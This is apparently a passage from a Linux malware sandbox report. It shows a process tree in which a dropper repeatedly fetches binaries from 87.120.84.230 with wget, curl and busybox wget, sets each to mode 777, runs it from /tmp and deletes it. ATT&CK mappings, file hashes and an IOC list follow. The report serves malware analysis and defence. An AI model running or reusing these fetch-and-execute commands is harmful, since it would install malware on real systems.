- Executes dropped EXE
PID:968

/bin/rm
rm rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:969

/usr/bin/wget
wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:970

/usr/bin/curl
curl -O http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:971

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:972

/bin/chmod
chmod 777 kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- File and Directory Permissions Modification
PID:973

/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
./kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Executes dropped EXE
PID:974

/bin/rm
rm kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:975

/usr/bin/wget
wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:976

/usr/bin/curl
curl -O http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:977

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:978

/bin/chmod
chmod 777 sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- File and Directory Permissions Modification
PID:979

/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
./sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Executes dropped EXE
PID:980

/bin/rm
rm sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:981

/usr/bin/wget
wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:982

/usr/bin/curl
curl -O http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:983

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:984

/bin/chmod
chmod 777 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- File and Directory Permissions Modification
PID:985

/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
./47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Executes dropped EXE
PID:986

/bin/rm
rm 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:987

/usr/bin/wget
wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:988

/usr/bin/curl
curl -O http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:989

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:990

/bin/chmod
chmod 777 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- File and Directory Permissions Modification
PID:991

/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
./9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Executes dropped EXE
PID:992

/bin/rm
rm 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:993

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	process
/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	751	sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	758	V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	769	rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	796	kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	821	47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	827	9KtuwmIyCu2831WrZTg35YWBSba74CicDw
/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	840	JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	865	mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	875	5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	881	kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	887	hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	896	GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	902	RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	908	gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	914	5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	920	kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	926	hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	932	JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	938	mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	944	GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	950	RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	956	gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	962	V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	968	rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	974	kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	980	sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	986	47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	992	9KtuwmIyCu2831WrZTg35YWBSba74CicDw

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads